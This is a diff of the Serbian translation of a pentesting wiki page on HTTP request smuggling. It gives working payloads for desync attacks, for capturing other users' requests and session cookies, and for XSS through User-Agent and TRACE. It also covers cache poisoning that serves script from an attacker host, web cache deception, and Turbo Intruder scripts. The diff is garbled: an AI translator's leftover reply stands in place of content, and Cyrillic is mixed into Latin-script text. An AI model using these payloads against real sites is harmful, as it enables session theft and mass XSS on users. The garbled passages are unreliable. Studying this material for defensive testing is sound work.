Suprotno tome, u TE.CL attack, početni `POST` zahtev koristi `Transfer-Encoding: chunked`, a naredni ugneždeni zahtev se obrađuje na osnovu `Content-Length` zaglavlja. Slično CL.TE attack, front-end proxy previdi prokrijumčarani `GET /admin` zahtev, nenamerno omogućavajući pristup ograničenom `/admin` putu.
|
||||
Suprotno tome, u TE.CL napadu, inicijalni `POST` zahtev koristi `Transfer-Encoding: chunked`, a naknadni ugrađeni zahtev se obrađuje na osnovu `Content-Length` zaglavlja. Slično CL.TE napadu, front-end proxy zanemaruje smuglovani `GET /admin` zahtev, nesvesno omogućavajući pristup ograničenom `/admin` putu.
|
||||
|
||||
### Otkrivanje prepravljanja zahteva na front-endu <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
### Otkrivanje prepisivanja zahteva na front-endu <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
|
||||
|
||||
Aplikacije često koriste **front-end server** da modifikuju dolazeće zahteve pre nego što ih proslede back-end serveru. Tipična izmena uključuje dodavanje zaglavlja, kao što je `X-Forwarded-For: <IP of the client>`, kako bi se IP klijenta prosledio back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine za **zaobilaženje zaštita** ili **otkrivanje skrivenih informacija ili krajnjih tačaka**.
|
||||
Aplikacije često koriste **front-end server** da izmenjuju dolazne zahteve pre nego što ih proslede na back-end server. Tipična izmena uključuje dodavanje zaglavlja, poput `X-Forwarded-For: <IP of the client>`, kako bi se IP klijenta prosledio back-endu. Razumevanje ovih izmena može biti ključno, jer može otkriti načine za **zaobilaženje zaštita** ili **otkrivanje skrivenih informacija ili krajnjih tačaka**.
|
||||
|
||||
Da biste ispitali kako proxy menja zahtev, pronađite POST parametar koji back-end vraća u odgovoru. Zatim sastavite zahtev, koristeći taj parametar kao poslednji, slično sledećem:
|
||||
Da biste istražili kako proxy menja zahtev, pronađite POST parametar koji back-end reflektuje u odgovoru. Zatim sastavite zahtev, koristeći taj parametar poslednjim, slično sledećem:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -451,19 +500,19 @@ Content-Length: 100
|
||||
|
||||
search=
|
||||
```
|
||||
U ovoj strukturi, komponenti narednog `request`-a se dodaju posle `search=`, koji je parameter reflektovan u `response`-u. Ovo reflektovanje će izložiti `headers` narednog `request`-a.
|
||||
U ovoj strukturi, naredne komponente zahteva se dodaju nakon `search=`, koji je parametar reflektovan u odgovoru. Ova refleksija će otkriti zaglavlja narednog zahteva.
|
||||
|
||||
Važno je uskladiti `Content-Length` header u ugnježdenom `request`-u sa stvarnom dužinom sadržaja. Početak sa malom vrednošću i postepeno povećavanje je preporučljivo, jer će previše niska vrednost skratiti reflektovane podatke, dok će previše visoka vrednost izazvati grešku u `request`-u.
|
||||
Važno je uskladiti header `Content-Length` ugneždenog zahteva sa stvarnom dužinom sadržaja. Početak sa malom vrednošću i postepeno povećavanje je preporučljivo, jer previše niska vrednost skraćuje reflektovane podatke, dok previše visoka vrednost može prouzrokovati grešku zahteva.
|
||||
|
||||
Ova tehnika je primenjiva i u kontekstu TE.CL ranjivosti, ali `request` treba da se završi sa `search=\r\n0`. Bez obzira na newline karaktere, vrednosti će se dodavati parametru `search`.
|
||||
Tehnika je primenljiva i u kontekstu TE.CL ranjivosti, ali zahtev bi trebalo da se završi sa `search=\r\n0`. Bez obzira na karaktere novog reda, vrednosti će se dodavati u search parametar.
|
||||
|
||||
Ova metoda prvenstveno služi da se razumeju izmene `request`-a koje pravi front-end proxy, suštinski izvodeći samostalnu istragu.
|
||||
Ova metoda prvenstveno služi da se razumeju izmene zahteva koje pravi front-end proxy, u suštini vršeći samoinicijativnu istragu.
|
||||
|
||||
### Capturing other users' requests <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
### Presretanje zahteva drugih korisnika <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
|
||||
|
||||
Moguće je presresti `request`-e narednog user-a tako što se tokom `POST` operacije kao vrednost parametra doda specifičan `request`. Evo kako se to može izvesti:
|
||||
Moguće je presresti zahteve narednog korisnika tako što se tokom POST operacije kao vrednost parametra doda specifičan zahtev. Evo kako se to može izvesti:
|
||||
|
||||
Dodavanjem sledećeg `request`-a kao vrednosti parametra možete sačuvati `request` narednog client-a:
|
||||
Dodavanjem sledećeg zahteva kao vrednosti parametra, možete uskladištiti zahtev narednog klijenta:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
|
||||
@ -483,20 +532,20 @@ Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
|
||||
|
||||
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment=
|
||||
```
|
||||
U ovom scenariju, **comment parameter** je namenjen za čuvanje sadržaja unutar sekcije komentara objave na javno dostupnoj stranici. Shodno tome, sadržaj narednog zahteva pojaviće se kao komentar.
|
||||
U ovom scenariju, **comment parameter** služi za čuvanje sadržaja iz sekcije komentara objave na javno dostupnoj stranici. Shodno tome, sadržaj narednog zahteva pojaviće se kao komentar.
|
||||
|
||||
Međutim, ova tehnika ima ograničenja. Generalno, ona hvata podatke samo do delimiter-a parametra koji se koristi u smuggled request-u. Za URL-encoded form submissions, ovaj delimiter je karakter `&`. To znači da će uhvaćeni sadržaj iz zahteva žrtve prestati na prvom `&`, koji može biti čak i deo query string-a.
|
||||
Međutim, ova tehnika ima ograničenja. Generalno, ona hvata podatke samo do delimitera parametra koji se koristi u smuggled request. Za URL-encoded form submissions, taj delimiter je karakter `&`. To znači da će uhvaćeni sadržaj iz zahteva žrtve stati na prvom `&`, koji može biti čak i deo query stringa.
|
||||
|
||||
Takođe, vredi napomenuti da je ovaj pristup izvodljiv i kod TE.CL ranjivosti. U takvim slučajevima, zahtev bi trebalo da se završi sa `search=\r\n0`. Bez obzira na newline karaktere, vrednosti će biti dodate parametru search.
|
||||
Vredno je napomenuti i da je ovaj pristup izvodljiv i kod TE.CL ranjivosti. U takvim slučajevima zahtev treba da se završi sa `search=\r\n0`. Bez obzira na znakove novog reda, vrednosti će biti dodatе parametru search.
|
||||
|
||||
### Korišćenje HTTP request smuggling za iskorišćavanje Reflected XSS
|
||||
### Korišćenje HTTP request smuggling za iskorišćavanje reflected XSS
|
||||
|
||||
HTTP Request Smuggling može da se iskoristi za napad na web stranice ranjive na **Reflected XSS**, nudeći značajne prednosti:
|
||||
HTTP Request Smuggling može se iskoristiti za napad na veb stranice ranjive na **Reflected XSS**, nudeći značajne prednosti:
|
||||
|
||||
- Interakcija sa ciljanim korisnicima **nije potrebna**.
|
||||
- Omogućava iskorišćavanje XSS u delovima zahteva koji su **normalno nedostupni**, kao što su HTTP request headers.
|
||||
- Interakcija sa ciljnim korisnicima **nije potrebna**.
|
||||
- Dozvoljava iskorišćavanje XSS-a u delovima zahteva koji su **obično nedostižni**, poput HTTP request headers.
|
||||
|
||||
U scenarijima gde je web-sajt podložan Reflected XSS kroz User-Agent header, sledeći payload demonstrira kako iskoristiti ovu ranjivost:
|
||||
U scenarijima gde je veb-sajt podložan Reflected XSS preko User-Agent header-a, sledeći payload pokazuje kako iskoristiti ovu ranjivost:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
|
||||
@ -517,26 +566,26 @@ Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
A=
|
||||
```
|
||||
This payload je strukturiran da iskoristi ranjivost na sledeći način:
|
||||
Ovaj payload je strukturiran da iskoristi ranjivost na sledeći način:
|
||||
|
||||
1. Pokretanje `POST` request-a, naizgled tipično, sa `Transfer-Encoding: chunked` header-om da označi početak smuggling-a.
|
||||
2. Sledeći `0`, označava kraj chunked message body.
|
||||
3. Zatim se uvodi smugglovan `GET` request, gde je `User-Agent` header injektovan sa skriptom, `<script>alert(1)</script>`, pokrećući XSS kada server obradi ovaj naredni request.
|
||||
1. Pokretanjem `POST` zahteva, naizgled tipičnog, sa zaglavljem `Transfer-Encoding: chunked` koje označava početak smuggling-a.
|
||||
2. Zatim `0`, koji označava kraj chunked message body.
|
||||
3. Potom se ubacuje smuggled `GET` zahtev, gde je `User-Agent` header injektovan skriptom `<script>alert(1)</script>`, što pokreće XSS kada server obradi ovaj naredni zahtev.
|
||||
|
||||
Manipulišući `User-Agent` kroz smuggling, payload zaobilazi normalna ograničenja request-a, čime se iskorišćava Reflected XSS ranjivost na nestandardan ali efektivan način.
|
||||
Manipulišući `User-Agent` kroz smuggling, payload zaobilazi normalna ograničenja zahteva i tako iskorišćava Reflected XSS ranjivost na nestandardan ali efikasan način.
|
||||
|
||||
#### HTTP/0.9
|
||||
|
||||
> [!CAUTION]
|
||||
> U slučaju da se korisnički sadržaj reflektuje u odgovoru sa **`Content-type`** kao što je **`text/plain`**, sprečavajući izvršavanje XSS-a. Ako server podržava **HTTP/0.9** možda je moguće ovo zaobići!
|
||||
> U slučaju da se korisnički sadržaj reflektuje u odgovoru sa **`Content-type`** kao što je **`text/plain`**, što sprečava izvršenje XSS. Ako server podržava **HTTP/0.9** možda je moguće zaobići ovo!
|
||||
|
||||
Verzija HTTP/0.9 prethodila je 1.0 i koristi samo **GET** metode i **ne** odgovara sa **headers**, već samo sa body.
|
||||
Verzija HTTP/0.9 je postojala pre 1.0 i koristi isključivo **GET** zahteve i **ne** odgovara sa **headers**, već samo body.
|
||||
|
||||
U [**ovaj writeup**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno uz request smuggling i **ranjiv endpoint koji će odgovoriti sa inputom korisnika** da bi se smugglao request sa HTTP/0.9. Parametar koji će biti reflektovan u odgovoru sadržao je **lažni HTTP/1.1 response (with headers and body)** tako da odgovor sadrži validan izvršni JS kod sa `Content-Type` `text/html`.
|
||||
U [**this writeup**](https://mizu.re/post/twisty-python), ovo je zloupotrebljeno koristeći request smuggling i **vulnerable endpoint that will reply with the input of the user** da bi se smuglovao zahtev sa HTTP/0.9. Parametar koji je reflektovan u odgovoru sadržao je **fake HTTP/1.1 response (with headers and body)** pa će odgovor sadržati validan izvršni JS kod sa `Content-Type` `text/html`.
|
||||
|
||||
### Eksploatisanje on-site preusmeravanja uz HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
### Exploiting On-site Redirects with HTTP Request Smuggling <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
|
||||
|
||||
Aplikacije često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz `Host` header-a u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez trailing slash-a rezultira preusmeravanjem da se uključi slash:
|
||||
Aplicacije često preusmeravaju sa jednog URL-a na drugi koristeći hostname iz `Host` header`-a u redirect URL-u. Ovo je uobičajeno kod web servera kao što su Apache i IIS. Na primer, zahtev za folder bez trailing slash-a rezultira preusmeravanjem da se uključi slash:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: normal-website.com
|
||||
@ -546,7 +595,7 @@ Rezultira u:
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://normal-website.com/home/
|
||||
```
|
||||
Iako naizgled bezazleno, ovo ponašanje se može manipulisati koristeći HTTP request smuggling da bi se korisnici preusmerili na eksterni sajt. Na primer:
|
||||
Iako naizgled bezopasno, ovo ponašanje može biti iskorišćeno pomoću HTTP request smuggling da preusmeri korisnike na eksterni sajt. Na primer:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
@ -560,29 +609,29 @@ GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: X
|
||||
```
|
||||
Ovaj smuggled request može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na sajt koji kontroliše napadač:
|
||||
Ovaj smuggled request može uzrokovati da sledeći obrađeni korisnički zahtev bude preusmeren na attacker-controlled website:
|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
Rezultuje u:
|
||||
Rezultira u:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
U ovom scenariju, zahtev korisnika za JavaScript fajlom je presretnut. Napadač može potencijalno kompromitovati korisnika tako što će u odgovoru poslužiti maliciozni JavaScript.
|
||||
U ovom scenariju zahtev korisnika za JavaScript fajlom je otet. Napadač može potencijalno kompromitovati korisnika tako što će poslati maliciozni JavaScript u odgovoru.
|
||||
|
||||
### Exploiting Web Cache Poisoning via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Eksploatacija Web Cache Poisoning putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Web cache poisoning može se izvesti ako bilo koja komponenta **front-end infrastructure caches content**, obično radi poboljšanja performansi. Manipulacijom odgovorom servera, moguće je **poison the cache**.
|
||||
Web cache poisoning može biti izveden ako bilo koja komponenta **front-end infrastrukture kešira sadržaj**, obično radi poboljšanja performansi. Manipulacijom serverovog odgovora moguće je **poison the cache**.
|
||||
|
||||
Ranije smo videli kako se odgovori servera mogu promeniti da vrate 404 grešku (pogledajte [Basic Examples](#basic-examples)). Slično tome, moguće je prevariti server da isporuči sadržaj `/index.html` kao odgovor na zahtev za `/static/include.js`. Posledično, sadržaj `/static/include.js` biva zamenjen u kešu sadržajem od `/index.html`, čineći `/static/include.js` nedostupnim korisnicima, što može dovesti do Denial of Service (DoS).
|
||||
Ranije smo videli kako se odgovori servera mogu izmeniti da vrate 404 grešku (pogledajte [Basic Examples](#basic-examples)). Na sličan način moguće je prevariti server da u odgovoru dostavi sadržaj `/index.html` na zahtev za `/static/include.js`. Kao posledica, sadržaj `/static/include.js` biva zamenjen u kešu sadržajem od `/index.html`, čime `/static/include.js` postaje nedostupan korisnicima i potencijalno dovodi do Denial of Service (DoS).
|
||||
|
||||
Ova tehnika postaje posebno snažna ako se otkrije **Open Redirect vulnerability** ili ako postoji **on-site redirect to an open redirect**. Takve ranjivosti se mogu iskoristiti za zamenu keširanog sadržaja `/static/include.js` skriptom pod kontrolom napadača, što u suštini omogućava raširen Cross-Site Scripting (XSS) napad protiv svih klijenata koji zahtevaju ažurirani `/static/include.js`.
|
||||
Ova tehnika postaje posebno snažna ako se otkrije **Open Redirect vulnerability** ili ako postoji **on-site redirect to an open redirect**. Takve ranjivosti mogu se iskoristiti da zamene keširani sadržaj `/static/include.js` skriptom pod kontrolom napadača, suštinski omogućavajući masovni Cross-Site Scripting (XSS) napad na sve klijente koji zahtevaju ažurirani `/static/include.js`.
|
||||
|
||||
Ispod je ilustracija iskorišćavanja **cache poisoning combined with an on-site redirect to open redirect**. Cilj je promeniti keširani sadržaj `/static/include.js` tako da servira JavaScript kod pod kontrolom napadača:
|
||||
Ispod je ilustracija iskorišćavanja **cache poisoning combined with an on-site redirect to open redirect**. Cilj je izmeniti keširani sadržaj `/static/include.js` da servira JavaScript kod pod kontrolom napadača:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -600,20 +649,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
Obratite pažnju na ugrađeni zahtev koji cilja `/post/next?postId=3`. Ovaj zahtev će biti preusmeren na `/post?postId=4`, koristeći **Host header value** da odredi domen. Menjanjem **Host header**-a, napadač može preusmeriti zahtev na svoj domen (**on-site redirect to open redirect**).
|
||||
|
||||
Nakon uspešnog **socket poisoning**, treba pokrenuti **GET request** za `/static/include.js`. Ovaj zahtev će biti kontaminiran prethodnim **on-site redirect to open redirect** zahtevom i preuzeti sadržaj skripte kojom upravlja napadač.
|
||||
Nakon uspešnog **socket poisoning**, treba inicirati **GET request** za `/static/include.js`. Taj zahtev će biti kompromitovan prethodnim **on-site redirect to open redirect** zahtevom i preuzeće sadržaj skripta kojim upravlja napadač.
|
||||
|
||||
Nakon toga, svaki zahtev za `/static/include.js` će služiti keširani sadržaj napadačeve skripte, efikasno pokrećući široki XSS napad.
|
||||
Nakon toga, svaki zahtev za `/static/include.js` poslužiće keširani sadržaj napadačevog skripta, efektivno pokrećući široko rasprostranjen XSS napad.
|
||||
|
||||
### Korišćenje HTTP request smuggling za izvođenje web cache deception <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **Koja je razlika između web cache poisoning i web cache deception?**
|
||||
>
|
||||
> - U **web cache poisoning**, napadač izaziva da aplikacija sačuva neki zlonamerni sadržaj u kešu, i taj sadržaj se zatim isporučuje iz keša drugim korisnicima aplikacije.
|
||||
> - U **web cache deception**, napadač izaziva da aplikacija sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač potom preuzme taj sadržaj iz keša.
|
||||
> - U **web cache poisoning**, napadač navodi aplikaciju da sačuva neki maliciozni sadržaj u kešu, i taj sadržaj se iz keša posluži drugim korisnicima aplikacije.
|
||||
> - U **web cache deception**, napadač navodi aplikaciju da sačuva osetljiv sadržaj koji pripada drugom korisniku u kešu, a napadač zatim preuzima taj sadržaj iz keša.
|
||||
|
||||
Napadač kreira smuggled request koji preuzme osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:
|
||||
Napadač kreira smuggled request koji preuzima osetljiv sadržaj specifičan za korisnika. Razmotrite sledeći primer:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -624,17 +673,17 @@ Napadač kreira smuggled request koji preuzme osetljiv sadržaj specifičan za k
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
Ako ovaj smuggled request otruje cache entry namenjen static content-u (npr. `/someimage.png`), osetljivi podaci žrtve iz `/private/messages` mogu biti keširani pod cache entry-jem statičkog sadržaja. Kao posledica, attacker bi potencijalno mogao da preuzme te keširane osetljive podatke.
|
||||
Ako ovaj podmetnuti zahtev zagadi cache unos namenjen statičkom sadržaju (npr. `/someimage.png`), osetljivi podaci žrtve sa `/private/messages` mogu biti keširani pod tim unosom statičkog sadržaja. Kao posledica, napadač bi potencijalno mogao da preuzme te keširane osetljive podatke.
|
||||
|
||||
### Zloupotreba TRACE putem HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) se sugeriše da, ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je pomoću HTTP Request Smuggling. To je zato što će ova metoda vratiti svaki header poslat serveru kao deo tela odgovora. Na primer:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) se sugeriše da ako server ima omogućenu metodu TRACE, može biti moguće zloupotrebiti je sa HTTP Request Smuggling. Ovo je zato što ova metoda reflektuje svaki header poslat serveru kao deo body response-a. Na primer:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
Pošaljite sadržaj fajla src/pentesting-web/http-request-smuggling/README.md koji želite da prevedem na srpski.
|
||||
Pošaljite sadržaj datoteke src/pentesting-web/http-request-smuggling/README.md koju želite da prevedem na srpski. Prevod će zadržati svu markdown/html sintaksu, code blokove, linkove i posebne tagove neprevodljivima, kao što ste naveli.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -645,15 +694,15 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
Primer kako zloupotrebiti ovo ponašanje bio bi da **smuggle first a HEAD request**. Ovaj request će biti odgovorен samo sa **headers** of a GET request (**`Content-Type`** among them). I **smuggle immediately after the HEAD a TRACE request**, koje će biti **reflecting the sent dat**a.\
|
||||
Pošto HEAD response sadrži `Content-Length` header, **response of the TRACE request will be treated as the body of the HEAD response, therefore reflecting arbitrary data** u odgovoru.\
|
||||
Ovaj response će biti poslat sledećem request-u preko konekcije, pa ovo može biti **used in a cached JS file for example to inject arbitrary JS code**.
|
||||
Jedan primer kako zloupotrebiti ovo ponašanje bio bi da se prvo **smuggle first a HEAD request**. Na ovaj request će biti odgovoreno samo sa **headers** od GET request-a (među njima **`Content-Type`**). I odmah posle HEAD-a **smuggle a TRACE request**, koji će **reflektovati poslate podatke**.\
|
||||
Pošto HEAD response sadrži `Content-Length` header, **response of the TRACE request će biti tretiran kao body HEAD response-a, te će u odgovoru reflektovati proizvoljne podatke**.\
|
||||
Ovaj odgovor će biti poslat narednom request-u preko konekcije, pa se ovo može **iskoristiti u keširanom JS fajlu, na primer, za injektovanje proizvoljnog JS koda**.
|
||||
|
||||
### Abusing TRACE via HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Zloupotreba TRACE путем HTTP Response Splitting <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
Nastavak praćenja [**this post**](https://portswigger.net/research/trace-desync-attack) predlaže još jedan način zloupotrebe TRACE method. Kao što je komentarisano, smuggling HEAD request-a i TRACE request-a omogućava **control some reflected data** u odgovoru na HEAD request. Dužina tela HEAD request-a je u suštini naznačena u `Content-Length` header-u i formira se odgovorom na TRACE request.
|
||||
Preporučuje se da pratite [**this post**](https://portswigger.net/research/trace-desync-attack) za još jedan način zloupotrebe TRACE metode. Kao što je pomenuto, smuggling a HEAD request i a TRACE request omogućava da se **kontrolišu neki reflektovani podaci** u odgovoru na HEAD request. Dužina tela HEAD odgovora je u osnovi naznačena u `Content-Length` headeru i formirana je od odgovora na TRACE request.
|
||||
|
||||
Dakle, nova ideja je da, znajući ovaj `Content-Length` i podatke iz TRACE odgovora, moguće je učiniti da TRACE odgovor sadrži validan HTTP response nakon poslednjeg bajta definisanog `Content-Length`-om, omogućavajući napadaču da potpuno kontroliše request za sledeći response (što se može iskoristiti za cache poisoning).
|
||||
Dakle, nova ideja bi bila da, poznavajući taj `Content-Length` i podatke iz TRACE response-a, bude moguće da TRACE response sadrži validan HTTP response posle poslednjeg bajta obuhvaćenog `Content-Length`-om, što napadaču omogućava potpunu kontrolu nad request-om koji će biti sledeći obrađen (što se može iskoristiti za cache poisoning).
|
||||
|
||||
Primer:
|
||||
```
|
||||
@ -674,7 +723,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
Generisaće ove odgovore (primetite kako HEAD odgovor ima Content-Length, što čini TRACE odgovor delom tela HEAD odgovora, i kada Content-Length HEAD odgovora završi, validan HTTP odgovor je smuggled):
|
||||
Generisaće ove odgovore (obratite pažnju kako HEAD odgovor ima Content-Length, zbog čega je TRACE odgovor deo HEAD tela, i kada HEAD Content-Length istekne validan HTTP odgovor je smuggled):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -695,16 +744,16 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### Korišćenje HTTP Request Smuggling-a pomoću HTTP Response Desynchronisation
|
||||
### Weaponizacija HTTP Request Smuggling pomoću HTTP Response Desynchronisation
|
||||
|
||||
Pronašli ste neku HTTP Request Smuggling ranjivost i ne znate kako da je iskoristite? Probajte ove druge metode eksploatacije:
|
||||
Пронашли сте неку HTTP Request Smuggling ranjivost и не знате како да је exploit-ујете? Испробајте следеће методе exploitation:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### Ostale HTTP Request Smuggling tehnike
|
||||
### Ostale HTTP Request Smuggling технике
|
||||
|
||||
- Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
@ -720,11 +769,11 @@ browser-http-request-smuggling.md
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
{{#endref}}
|
||||
|
||||
## Turbo intruder scripts
|
||||
## Turbo intruder skripte
|
||||
|
||||
### CL.TE
|
||||
|
||||
Iz [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
Из [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
@ -809,14 +858,14 @@ table.add(req)
|
||||
```
|
||||
## Alati
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – za vizuelizaciju concatenation/framing i niskonivnog HTTP ponašanja
|
||||
- HTTP Hacker (Burp BApp Store) – vizualizuje concatenation/framing i ponašanje HTTP-a na niskom nivou
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je zasnovan na gramatici i predstavlja HTTP Fuzzer koristan za pronalaženje neobičnih request smuggling neslaganja.
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): Ovaj alat je grammar-based HTTP Fuzzer koristan za pronalaženje neobičnih request smuggling neslaganja.
|
||||
|
||||
## Reference
|
||||
|
||||
@ -829,10 +878,11 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- Pazite na lažno lažno-pozitivan rezultat: kako razlikovati HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- Pažnja na false false‑positive: kako razlikovati HTTP pipelining od request smuggling – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- [https://portswigger.net/research/http1-must-die](https://portswigger.net/research/http1-must-die)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -15,7 +15,8 @@
|
||||
var mobilesponsorCTA = mobilesponsorSide.querySelector(".mobilesponsor-cta")
|
||||
|
||||
async function getSponsor() {
|
||||
const url = "https://book.hacktricks.wiki/sponsor"
|
||||
const currentUrl = encodeURIComponent(window.location.href);
|
||||
const url = `https://book.hacktricks.wiki/sponsor?current_url=${currentUrl}`;
|
||||
try {
|
||||
const response = await fetch(url, { method: "GET" })
|
||||
if (!response.ok) {
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user